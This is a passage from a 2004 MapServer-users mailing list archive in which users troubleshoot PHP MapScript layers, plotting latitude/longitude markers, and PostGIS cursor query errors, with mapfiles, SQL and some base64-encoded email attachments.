> $layerObj = $mapObj->getlayerByName('nhs_direct');
> $layerObj->data = 'nhs_direct_live/7-01-2002_2.tiff'
> 
> This doesn't seem to have any effect, however, and the original file
> that DATA points to is always displayed.
> 
> System Details:
> MapServer version 3.5 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
> SUPPORTS=TTF SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT INPUT=TIFF
> INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL
> INPUT=SHAPEFILE
> PHP Version 4.0.6
> Apache/1.3.27 
> gcc version 2.96 20000731 (Red Hat Linux 7.2 2.96-112.7.1)
> 
> Can anyone think of a solution? Is it time to bite the bullet and
> upgrade?!
> 
> Regards,
> 
> Homme Zwaagstra
> 
> -- 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 




From TBirkenholtz at fbfs.com  Fri Jan 16 06:54:27 2004
From: TBirkenholtz at fbfs.com (Todd Birkenholtz)
Date: Fri, 16 Jan 2004 08:54:27 -0600
Subject: [Mapserver-users] Longitude and Latitude positions
Message-ID: <86256E1D.00515024.00@mail.fbfs.com>

--0__=1QCQv95f2qLhXvqzLrSyKfu8Toal1HpL62Rg5q6p8OpfMtASzLg0sBSN
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline





I would like to create a map that I can feed it Longitude and Latitude positions
and place a marker at that location.

The positions will be feed from a MySql DB and color of the marker will be
changing depending on different conditions. At some point I would like to be
able to click on the marker to bring up a special webpage describing the
location.

I need some guidance getting started in the right direction.

Thanks your assistance.

Todd Birkenholtz



To: 
--0__=1QCQv95f2qLhXvqzLrSyKfu8Toal1HpL62Rg5q6p8OpfMtASzLg0sBSN
Content-type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-transfer-encoding: quoted-printable


=A0 =A0 =A0 =A0Todd Birkenholtz/FBFS at FBFS, mapserver-users at lists.gis.um=
n.edu
cc:

Subject: =A0 =A0 =A0 =A0Re: [Mapserver-users] Longitude and Latitude po=
sitions


[IMAGE]
Depending on whether you mean something like the graticule object or a
point label there are a couple of different answers.
As far as the perl example for the graticule object goes - there was a
discussion on the list a little while back regarding that but there is
no final on the results yet.
However, specifying the graticule information in the mapfile directly
seems to work fine.
But then if your thinking of displaying lat-long in the browser as the
mouse moves over the map that requires some form of client-side
scripting, ie. Javascipt.

Lowell

The following message was sent by "Todd Birkenholtz"
 on Thu, 15 Jan 2004 08:40:37 -0600.

>
>
>
>
> I am new to Mapserver and the concept of GIS in general. I have a
question that
> I can not seem to be in the docs if it is I guess I do not know the
jargon used
> to describe it.
>
> How do you mark Longitude and Latitude positions on a map?

[IMAGE]


(Embedded image moved to file: pic24495.pcx)
(See attached file: C.gif)
(See attached file: att1.eml)
=

--0__=1QCQv95f2qLhXvqzLrSyKfu8Toal1HpL62Rg5q6p8OpfMtASzLg0sBSN
Content-type: application/octet-stream; 
	name="pic24495.pcx"
Content-Disposition: attachment; filename="pic24495.pcx"
Content-transfer-encoding: base64

CgUBCAAAAAA4AgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABOQIBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAGxAEAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABtAGUAcwBzAGEAZwBl
ACAAdwBhAHMAIABzAGUAbgB0ACAAYgB5ACAAIgBUAG8AZABkACAAQgBpAHIAawBlAG4AaABvAGwA
dAB6ACIAbwBsAHQAegAmAHEAdQBvAHQAO8MAwt0uFsLdEFYCAMHQAsIAAsMABv8AxAADAAEABALC
ADwBBgjEAAMAIMUAweQACQLCACQAE8MAwdTDAMH+wf/CAMH6wf/C3S4Wwt0QVgIATALCAFh0JwMY
wwAhACQCsMMACABAxQCEAf8AAGHB4sH+wf8DAMH6wf/C3S4Wwt0QVgIAwdwBwgCkwgHNAALHAAQA
NsUAwdKwAB3CABoLAFsEAknB9AHByiQAphoMAEcEAsHLwdXDALQAGg0AHRoRAClAAn6oAiMaEgAd
AsMAwf7B/8H6wf/C3S4Wwt0QVgIAdAHoANQAygDFAMMAAAMBA8IBAGgAZQAgAGYAbwBsAGwAbwB3
AGkAbgBnACAAbQBlAHMAcwBhAGcAZQAgAHcAYQBzACAAcwBlAG4AdAAgAGIAeQAgACIAVABvAGQA
ZAAgAEIAaQByAGsAZQBuAGgAbwBsAHQAegAiAG8AbAB0AHoAJgBxAHUAbwB0ADvDAMLdLhbC3RBW
AgDB0ALCAALDAAb/AMQAAwABAAQCwgA8AQYIxAADACDFAMHkAAkCwgAkABPDAMHUwwDB/sH/wgDB
+sH/wt0uFsLdEFYCAEwCwgBYdCcDGMMAIQAkArDDAAgAQMUAhAH/AABhweLB/sH/AwDB+sH/wt0u
FsLdEFYCAMHcAcIApMIBzQACxwAEADbFAMHSsAAdwgAaCwBbBAJJwfQBwcokAKYaDABHBALBy8HV
wwC0ABoNAB0aEQApQAJ+qAIjGhIAHQLDAMH+wf/B+sH/wt0uFsLdEFYCAHQB6ADUAMoAxQDDAAAD
AQPCAQBoAGUAIABmAG8AbABsAG8AdwBpAG4AZwAgAG0AZQBzAHMAYQBnAGUAIAB3AGEAcwAgAHMA
ZQBuAHQAIABiAHkAIAAiAFQAbwBkAGQAIABCAGkAcgBrAGUAbgBoAG8AbAB0AHoAIgBvAGwAdAB6
ACYAcQB1AG8AdAA7wwDC3S4Wwt0QVgIAwdACwgACwwAG/wDEAAMAAQAEAsIAPAEGCMQAAwAgxQDB
5AAJAsIAJAATwwDB1MMAwf7B/8IAwfrB/8LdLhbC3RBWAgBMAsIAWHQnAxjDACEAJAKwwwAIAEDF
AIQB/wAAYcHiwf7B/wMAwfrB/8LdLhbC3RBWAgDB3AHCAKTCAc0AAscABAA2xQDB0rAAHcIAGgsA
WwQCScH0AcHKJACmGgwARwQCwcvB1cMAtAAaDQAdGhEAKUACfqgCIxoSAB0CwwDB/sH/wfrB/8Ld
LhbC3RBWAgB0AegA1ADKAMUAwwAA/wD/AP8A/wD/AP8A/wD/AOEA0QDIAMQAwgAADAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA==

--0__=1QCQv95f2qLhXvqzLrSyKfu8Toal1HpL62Rg5q6p8OpfMtASzLg0sBSN
Content-type: image/gif; 
	name="C.gif"
Content-Disposition: attachment; filename="C.gif"
Content-transfer-encoding: base64
Content-Description: Compuserve GIF

R0lGODlhBQAfAIAAAAAAAAAAACwAAAAABQAfAEACIIJ75JWqyYwDD00vCXP1fohBG1CNYJUBnnmh
0JqdW+oNADsA

--0__=1QCQv95f2qLhXvqzLrSyKfu8Toal1HpL62Rg5q6p8OpfMtASzLg0sBSN
Content-type: application/octet-stream; 
	name="att1.eml"
Content-Disposition: attachment; filename="att1.eml"
Content-transfer-encoding: base64

UmVjZWl2ZWQ6IGZyb20gZmJzbXRwIChbMTkyLjE2OC4zNC4zNl0pIGJ5IG1haWwuZmJmcy5jb20g
KExvdHVzIFNNVFAgTVRBIHY0LjYuNyAgKDkzNC4xIDEyLTMwLTE5OTkpKSB3aXRoIFNNVFAgaWQg
ODYyNTZFMUMuMDA1NTM3QzQ7IFRodSwgMTUgSmFuIDIwMDQgMDk6MzA6NDggLTA2MDANClJlY2Vp
dmVkOiBmcm9tIHBzbXRwLmNvbSAoWzEyLjE1OC4zNC4yMTJdKQ0KICAgICAgICAgIGJ5IGZic210
cCAoTG90dXMgRG9taW5vIFJlbGVhc2UgNS4wLjEyKQ0KICAgICAgICAgIHdpdGggU01UUCBpZCAy
MDA0MDExNTA5MzQzMDM4OjQzNDU5IDsNCiAgICAgICAgICBUaHUsIDE1IEphbiAyMDA0IDA5OjM0
OjMwIC0wNjAwIA0KUmVjZWl2ZWQ6IGZyb20gc291cmNlIChbNjMuNjUuMTU4LjddKSBieSBleHBy
b2Q1bXg0NS5wb3N0aW5pLmNvbSAoWzEyLjE1OC4zNC4yNDVdKSB3aXRoIFNNVFA7DQoJVGh1LCAx
NSBKYW4gMjAwNCAwNzozMzo1OSBQU1QNClJlY2VpdmVkOiBmcm9tIGxvY2FsaG9zdCAobG9jYWxo
b3N0IFsxMjcuMC4wLjFdKQ0KCWJ5IG1haWwubWVkaW5hY28ub3JnIChQb3N0Zml4KSB3aXRoIEVT
TVRQDQoJaWQgRTc4QjExQTY1OUI7IFRodSwgMTUgSmFuIDIwMDQgMTA6MzQ6MDAgLTA1MDAgKEVT
VCkNClJlY2VpdmVkOiBmcm9tIG1haWwubWVkaW5hY28ub3JnIChbMTI3LjAuMC4xXSkNCiBieSBs
b2NhbGhvc3QgKHlvZ2kgWzEyNy4wLjAuMV0pIChhbWF2aXNkLW5ldywgcG9ydCAxMDAyNCkgd2l0
aCBFU01UUA0KIGlkIDMwMjI2LTAzOyBUaHUsIDE1IEphbiAyMDA0IDEwOjMzOjU2IC0wNTAwIChF
U1QpDQpSZWNlaXZlZDogZnJvbSAyMTYuNzEuMTAwLjE5NyAod2ViYnN0ZXIubWVkaW5hY28ubmV0
IFsxOTIuMTY4LjEuMzRdKQ0KCWJ5IG1haWwubWVkaW5hY28ub3JnIChQb3N0Zml4KSB3aXRoIFNN
VFANCglpZCAyQUU4QTFBNjU5OTsgVGh1LCAxNSBKYW4gMjAwNCAxMDozMzo1NiAtMDUwMCAoRVNU
KQ0KVG86ICJUb2RkIEJpcmtlbmhvbHR6IiA8VEJpcmtlbmhvbHR6QGZiZnMuY29tPiwNCgltYXBz
ZXJ2ZXItdXNlcnNAbGlzdHMuZ2lzLnVtbi5lZHUNCkZyb206ICJMb3dlbGwgRmlsYWsiIDxsZmls
YWtAbWVkaW5hY28ub3JnPg0KU3ViamVjdDogUmU6IFtNYXBzZXJ2ZXItdXNlcnNdIExvbmdpdHVk
ZSBhbmQgTGF0aXR1ZGUgcG9zaXRpb25zDQpEYXRlOiBUaHUsIDE1IEphbiAyMDA0IDEwOjM0OjA0
IC0wNTAwDQpYLU1haWxlcjogIkFsZXggSGFydCdzIFZlcnkgT3duIFdlYiBCYXNlZCBFbWFpbCwg
VmVyc2lvbiAyLjQgKE1lZGluYSBDb3VudHkgRWRpdGlvbikiDQpNZXNzYWdlLUlkOiA8MjAwNDAx
MTUxNTMzNTYuMkFFOEExQTY1OTlAbWFpbC5tZWRpbmFjby5vcmc+DQpYLVZpcnVzLVNjYW5uZWQ6
IGJ5IGFtYXZpc2QtbmV3IGF0IG1lZGluYWNvLm9yZw0KWC1wc3RuLWxldmVsczogICAgIChTOjk5
LjgwMDAgUjo5NS45MTA4IFA6OTUuOTEwOCBNOjk4LjA3NDIgQzo3OS41MzQ4ICkNClgtcHN0bi1z
ZXR0aW5nczogMyAoMS4wMDAwOjIuMDAwMCkgciBwIG0gQyANClgtcHN0bi1hZGRyZXNzZXM6IGZy
b20gPGxmaWxha0BtZWRpbmFjby5vcmc+IFtkYi1udWxsXSANClgtTUlNRVRyYWNrOiBJdGVtaXpl
IGJ5IFNNVFAgU2VydmVyIG9uIEZCU01UUC9GQlNNVFAoUmVsZWFzZSA1LjAuMTIgIHxGZWJydWFy
eSAxMywgMjAwMykgYXQNCiAwMS8xNS8yMDA0IDA5OjM0OjMwIEFNLA0KCVNlcmlhbGl6ZSBieSBS
b3V0ZXIgb24gRkJTTVRQL0ZCU01UUChSZWxlYXNlIDUuMC4xMiAgfEZlYnJ1YXJ5IDEzLCAyMDAz
KSBhdA0KIDAxLzE1LzIwMDQgMDk6MzQ6MzEgQU0sDQoJU2VyaWFsaXplIGNvbXBsZXRlIGF0IDAx
LzE1LzIwMDQgMDk6MzQ6MzEgQU0NCg0KRGVwZW5kaW5nIG9uIHdoZXRoZXIgeW91IG1lYW4gc29t
ZXRoaW5nIGxpa2UgdGhlIGdyYXRpY3VsZSBvYmplY3Qgb3IgYQ0KcG9pbnQgbGFiZWwgdGhlcmUg
YXJlIGEgY291cGxlIG9mIGRpZmZlcmVudCBhbnN3ZXJzLg0KQXMgZmFyIGFzIHRoZSBwZXJsIGV4
YW1wbGUgZm9yIHRoZSBncmF0aWN1bGUgb2JqZWN0IGdvZXMgLSB0aGVyZSB3YXMgYQ0KZGlzY3Vz
c2lvbiBvbiB0aGUgbGlzdCBhIGxpdHRsZSB3aGlsZSBiYWNrIHJlZ2FyZGluZyB0aGF0IGJ1dCB0
aGVyZSBpcw0Kbm8gZmluYWwgb24gdGhlIHJlc3VsdHMgeWV0Lg0KSG93ZXZlciwgc3BlY2lmeWlu
ZyB0aGUgZ3JhdGljdWxlIGluZm9ybWF0aW9uIGluIHRoZSBtYXBmaWxlIGRpcmVjdGx5DQpzZWVt
cyB0byB3b3JrIGZpbmUuDQpCdXQgdGhlbiBpZiB5b3VyIHRoaW5raW5nIG9mIGRpc3BsYXlpbmcg
bGF0LWxvbmcgaW4gdGhlIGJyb3dzZXIgYXMgdGhlDQptb3VzZSBtb3ZlcyBvdmVyIHRoZSBtYXAg
dGhhdCByZXF1aXJlcyBzb21lIGZvcm0gb2YgY2xpZW50LXNpZGUNCnNjcmlwdGluZywgaWUuIEph
dmFzY2lwdC4NCg0KTG93ZWxsDQoNClRoZSBmb2xsb3dpbmcgbWVzc2FnZSB3YXMgc2VudCBieSAi
VG9kZCBCaXJrZW5ob2x0eiINCjxUQmlya2VuaG9sdHpAZmJmcy5jb20+IG9uIFRodSwgMTUgSmFu
IDIwMDQgMDg6NDA6MzcgLTA2MDAuDQoNCj4gDQo+IA0KPiANCj4gDQo+IEkgYW0gbmV3IHRvIE1h
cHNlcnZlciBhbmQgdGhlIGNvbmNlcHQgb2YgR0lTIGluIGdlbmVyYWwuIEkgaGF2ZSBhDQpxdWVz
dGlvbiB0aGF0DQo+IEkgY2FuIG5vdCBzZWVtIHRvIGJlIGluIHRoZSBkb2NzIGlmIGl0IGlzIEkg
Z3Vlc3MgSSBkbyBub3Qga25vdyB0aGUNCmphcmdvbiB1c2VkDQo+IHRvIGRlc2NyaWJlIGl0Lg0K
PiANCj4gSG93IGRvIHlvdSBtYXJrIExvbmdpdHVkZSBhbmQgTGF0aXR1ZGUgcG9zaXRpb25zIG9u
IGEgbWFwPyANCg0K

--0__=1QCQv95f2qLhXvqzLrSyKfu8Toal1HpL62Rg5q6p8OpfMtASzLg0sBSN--



From jnielsen at aero-graphics.com  Fri Jan 16 07:01:45 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 16 Jan 2004 08:01:45 -0700
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
In-Reply-To: <1074198663.4006f8871d243@www.agi-lan.com>
References:  <1074198663.4006f8871d243@www.agi-lan.com>
Message-ID: <1074265305.4007fcd912035@www.agi-lan.com>

Quoting Tyler Mitchell :
> Hey Jason,
> We're on to something!
> > ERROR:  Attribute "name" not found
> 
> Hmmm...have you seen "name" anywhere else? i.e. in your map file?
> Yes...
> LAYER
>     CONNECTIONTYPE postgis
>     NAME "Utah Geological Study"
>     CONNECTION "user=gis_user dbname=pg00 host=localhost"
>     DATA "the_geom from s81"
>     STATUS default
>     TYPE POLYGON
> --> LABELITEM "name"
 
> > ERROR:  Attribute "name" not found
> 
> That's your problem!!
> 
> Your next steps?  Change "name" in your map file to some other meaningful
> field that you want on your map.  Otherwise, to keep it more simple,
> comment out the LABELITEM line and the whole LABEL....END section.  And see
> if you are up and running.

lol. I should have seen that.

I tried it but I am still getting the exact same error from mapserver.  But the
SELECT command after the BINARY CURSOR FOR works in psql.

So the question is now if the command works just performing the query manually
but I am getting the same error where to look next or is there a way to get more
detailed output perhaps from mapserv indicating precisely what is going on
behind the scenes?

msDrawMap(): Image handling error. Failed to draw layer named 'Utah Geological
Study'.
prep_DB(): Query error. Error executing POSTGIS DECLARE (the actual query)
statement: 'DECLARE mycursor BINARY CURSOR FOR SELECT
asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from s81 WHERE
the_geom && setSRID('BOX3D(1781048.9509602 472006.998403,2143367.3005688
833751.562963)'::BOX3D, find_srid('','s81','the_geom') )'

Postgresql reports the error ''

More Help:

Error with POSTGIS data variable. You specified ''.
Standard ways of specifiying are :
(1) 'geometry_column from geometry_table'
(2) 'geometry_column from () as foo using unique  using
SRID='

Make sure you put in the 'using unique ' and 'using SRID=#' clauses in.

For more help, please see http://postgis.refractions.net/documentation.php

Mappostgis.c - version of June 12/2003. 
------------------

MAP
  IMAGETYPE PNG
  UNITS feet
  EXTENT 1788886.749859 472006.998403 2135529.501670 833751.562963 
  SIZE 600 600
  PROJECTION
   "proj=latlong"
  END #end projection
  LAYER
    CONNECTIONTYPE postgis
    NAME "Utah Geological Study"
    CONNECTION "dbname=pg00 user=gis_user host=localhost"
    DATA "the_geom from s81"
    STATUS default
    TYPE POLYGON
    CLASS
      COLOR 255 255 255
        OUTLINECOLOR 255 0 0
    END #end class
  END #end layer
  SCALEBAR
    BACKGROUNDCOLOR 255 255 255
    COLOR 0 0 0
    IMAGECOLOR 0 0 0
    POSITION lr
    SIZE 200 50
    STATUS on
    STYLE 1
    TRANSPARENT on
    UNITS miles
  END #end scalebar
  WEB
    HEADER demo_header.html
    TEMPLATE demo.html
    FOOTER demo_footer.html
    MINSCALE 1000
    MAXSCALE 1550000
    IMAGEPATH "set in demo_init.html"
    IMAGEURL "set in demo_init.html"
  END #end web
END

END #end map


Thanks, Jason.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From jnielsen at aero-graphics.com  Fri Jan 16 07:23:31 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Fri, 16 Jan 2004 08:23:31 -0700
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
In-Reply-To: <1074265305.4007fcd912035@www.agi-lan.com>
References:  <1074198663.4006f8871d243@www.agi-lan.com> <1074265305.4007fcd912035@www.agi-lan.com>
Message-ID: <1074266611.400801f334fdd@www.agi-lan.com>

Quoting "Jason M. Nielsen" :

> msDrawMap(): Image handling error. Failed to draw layer named 'Utah
> Geological
> Study'.
> prep_DB(): Query error. Error executing POSTGIS DECLARE (the actual query)
> statement: 'DECLARE mycursor BINARY CURSOR FOR SELECT
> asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from s81
> WHERE
> the_geom && setSRID('BOX3D(1781048.9509602 472006.998403,2143367.3005688
> 833751.562963)'::BOX3D, find_srid('','s81','the_geom') )'
> 
> Postgresql reports the error ''
> 
> More Help:
> 
> Error with POSTGIS data variable. You specified ''.
> Standard ways of specifiying are :
> (1) 'geometry_column from geometry_table'
> (2) 'geometry_column from () as foo using unique 
> using
> SRID='
> 
> Make sure you put in the 'using unique ' and 'using SRID=#'
> clauses in.
> 
> For more help, please see http://postgis.refractions.net/documentation.php
> 
> Mappostgis.c - version of June 12/2003. 

The fact that select works and that I have been seeing similar posts on the
postgis mailing list I am thinking this is an issue related to postgis. Perhaps
my configuration or versions. Not sure.

[root at vad3rZIM root]# postgres -V
postgres (PostgreSQL) 7.3.4

postgis-0.8.0

[root at vad3rZIM postgis]# /var/www/cgi-bin/mapserv -v
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER
SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR
INPUT=GDAL INPUT=SHAPEFILE
[


-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From lfilak at medinaco.org  Fri Jan 16 07:33:59 2004
From: lfilak at medinaco.org (Lowell Filak)
Date: Fri, 16 Jan 2004 10:33:59 -0500
Subject: [Mapserver-users] Longitude and Latitude positions
Message-ID: <20040116153347.EDDF61A6599@mail.medinaco.org>

I see.
The place you want to start is 'dynamically adding/displaying points on
a map'.
There is a Lot of discussion on this subject in the archives but there
are also some examples in the wiki which will make a good starting point.
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex2
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex14
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex14
http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex8

The first example allows for dynamically adding points & labels but does
not make the points queryable.
The next two allow for the points to be queried and does not require
that a shapefile be created.
The last one creates a shapefile from the data.
While your final goal sounds like dynamic query without a shapefile you
may want to start at a simpler point and work up to that as the dynamic
query example is very good but does require an understanding of GIS,
MapServer, & MapScript to vizualize what is going on.

HTH

Lowell

The following message was sent by "Todd Birkenholtz"
 on Fri, 16 Jan 2004 08:54:27 -0600.

> 
> 
> 
> 
> I would like to create a map that I can feed it Longitude and Latitude
positions
> and place a marker at that location.
> 
> The positions will be feed from a MySql DB and color of the marker will be
> changing depending on different conditions. At some point I would like
to be
> able to click on the marker to bring up a special webpage describing the
> location.
> 
> I need some guidance getting started in the right direction.
> 
> Thanks your assistance.
> 
> Todd Birkenholtz
> 
> 
> 
> To: 



From keon at nacse.org  Fri Jan 16 07:54:04 2004
From: keon at nacse.org (Dylan Keon)
Date: Fri, 16 Jan 2004 07:54:04 -0800
Subject: [Mapserver-users] Error when querying PostGIS layer
In-Reply-To: <8F4A22E017460A458DB7BBAB65CA6AE512D0ED@openmanage>
References: <8F4A22E017460A458DB7BBAB65CA6AE512D0ED@openmanage>
Message-ID: <4008091C.1@nacse.org>

Thanks.  I tried that already in psql and the query works fine.

Any possibility this could be a problem with PostGIS 0.8.x?  I ask only 
because two of us on the list are having very similar problems right now.

My versions again:  MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.

Thanks for any additional insights...

--Dylan


Mark Cave-Ayland wrote:

> Hi Dylan,
> 
> Sometimes working with PostGIS/Mapserver I find that error messages
> don't always make it through to Mapserver. A good trick is to copy the
> query from the select without the cursor declaration, paste it into a
> psql session, and you should then see the exact error message being
> generated by PostgreSQL.
> 
> For example, in your case, type the following in psql and see if it
> gives a more verbose error message:
> 
> SELECT nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR')
> ,OID::text 
> from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
> 577205)'::BOX3D, find_srid('','quad24k','the_geom') )
> 
> Cheers,
> 
> Mark.
> 
>>-----Original Message-----
>>From: mapserver-users-admin at lists.gis.umn.edu 
>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
>>Dylan Keon
>>Sent: 15 January 2004 20:01
>>To: mapserver-users at lists.gis.umn.edu
>>Subject: Re: [Mapserver-users] Error when querying PostGIS layer
>>
>>
>>I'd be really grateful if some of you postgis/postgres gurus 
>>could give 
>>me a hand with this (see question below) - it's got me 
>>stumped.  Jason 
>>Nielsen posted a similar question a little while ago.
>>
>>I've already tried GRANT SELECT ON quad24k TO PUBLIC; and 
>>verified that 
>>the asbinary SELECT statement following 'DECLARE mycursor 
>>BINARY CURSOR 
>>FOR' works in psql.
>>
>>TIA for any help.  I pasted some more info at the bottom of 
>>the message.
>>
>>--Dylan
>>
>>
>>Dylan Keon wrote:
>>
>>>I'm having trouble querying a PostGIS layer via PHP Mapscript.  The
>>>layer renders fine in the app and labels get generated, 
>>
>>etc.  But I get 
>>
>>>an error when trying to query the layer.  It fails when it reaches 
>>>getShape() - if I comment out that line everything else 
>>
>>works.  Also, if 
>>
>>>I run this code on a shapefile version of the same layer it 
>>
>>works fine.
>>
>>>I'm using MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.  Thanks 
>>>for
>>>any help.
>>>
>>>--Dylan
>>>
>>>
>>
>>----------------------------------------------------------------------
>>
>>> From the apache error log:
>>>
>>>PHP Warning:  [MapServer Error]: msDrawMap(): Failed to draw layer 
>>>named 'quad_index_24k'.  in /opt/httpd/htdocs/test.php on line 132
>>>PHP Warning:  [MapServer Error]: prep_DB(): Error executing POSTGIS
>>>DECLARE (the actual query) statement: 'DECLARE mycursor 
>>
>>BINARY CURSOR 
>>
>>>FOR SELECT 
>>>
>>
>>nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR')
>>,OID::text 
>>
>>>from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
>>>577205)'::BOX3D, find_srid('','quad24k','the_geom') )' 


>>>
>>>Postgresql reports the error ''


>>>
>>>More Help:


>>>
>>>Error with POSTGIS data variable. You specified '<check your .map
>>>file>'.

>>>Standard ways of specifiying are : 

>>>(1) 'geometry_column from geometry_table' 

>>>(2) 'geometry_column from (<sub query>) as foo using unique 
>>><column name> using SRID=<srid#>' 


>>>
>>>Make sure you put in the 'using unique  <column name>' and 
>>>'using SRID=#' clauses in.
>>>
>>>

For more help, please see 
>>>http://postgis.refractions.net/documentation.php
>>>
>>>

Mappostgis.c - version of June 12/2003.
>>>
>>>in /opt/httpd/htdocs/test.php on line 132
>>>PHP Fatal error:  Call to a member function on a non-object in
>>>/opt/httpd/htdocs/test.php on line 133
>>>
>>>
>> ----------------------------------------------------------------------
>>
>> // simple function for testing postgis layer query
>> function doQuery($map, $map_x, $map_y, $last_extent)
>> {
>>         $layer = $map->getLayerByName('quad_index_24k');
>>         $coords = pix2geo($map, $map_x, $map_y, $last_extent);
>>         $geo = preg_split("/,/", $coords);
>>
>>         // create point object
>>         $click_pt = ms_newPointObj();
>>         $click_pt->setXY($geo[0], $geo[1]);
>>
>>         // query the map at the point clicked
>>         @$map->queryByPoint($click_pt, MS_SINGLE, -1);
>>         $count_results = $layer->getNumResults();
>> echo "count_results = $count_results
\n";
>>
>>         if($count_results > 0) {
>>                 $layer->open();
>>                 $result = $layer->getResult(0);
>> echo "
getResult:
"; print_r($result); ech "
";
>>                 $resultShape = $layer->getShape(-1,$result->shapeindex);
>> echo "
getShape:
"; print_r($resultShape); echo "
";
>>         } else echo "No records returned";
>>
>>         $click_pt->free();
>>         $resultShape->free();
>> }
>>
>> ----------------------------------------------------------------------
>>
>> LAYER
>>   NAME quad_index_24k
>>   TYPE POLYGON
>>   CONNECTIONTYPE POSTGIS
>>   CONNECTION "user=read dbname=oregon"
>>   DATA "the_geom from quad24k"
>>   STATUS ON
>>   MAXSCALE 2400000
>>   LABELMAXSCALE 600000
>>   LABELMINSCALE 20000
>>   TEMPLATE "null"
>>   CLASS
>>     OUTLINECOLOR 0 25 140
>>     COLOR -1 -1 -1
>>     COLOR 190 230 190
>>     TEXT ([name] [nf1])
>>     LABEL
>>       WRAP " "
>>       POSITION CC
>>       SIZE SMALL
>>       BUFFER 50
>>       FORCE TRUE
>>       MINFEATURESIZE 35
>>     END
>>   END
>> END
>>
>> ----------------------------------------------------------------------
> 
> 
> 
> Here are some additional data:
> 
> 
> oregon=# select * from geometry_columns where f_table_name = 'quad24k';
>  f_table_catalog | f_table_schema | f_table_name | f_geometry_column | coord_dimension | srid |     type     | attrelid | varattnum | stats
> -----------------+----------------+--------------+-------------------+-----------------+------+--------------+----------+-----------+-------
>                  | public         | quad24k      | the_geom          |               2 |   -1 | MULTIPOLYGON |    17407 |
> 19 |
> (1 row)
> 
> 
> oregon-# \d quad24k
>             Table "public.quad24k"
>   Column   |         Type         | Modifiers
> -----------+----------------------+-----------
>  gid       | integer              |
>  area      | double precision     |
>  perimeter | double precision     |
>  id        | bigint               |
>  name      | character varying    |
>  states    | character varying    |
>  latlon    | character varying    |
>  usgscode  | character varying    |
>  scale     | character varying    |
>  ohiocode  | character varying    |
>  st_s      | integer              |
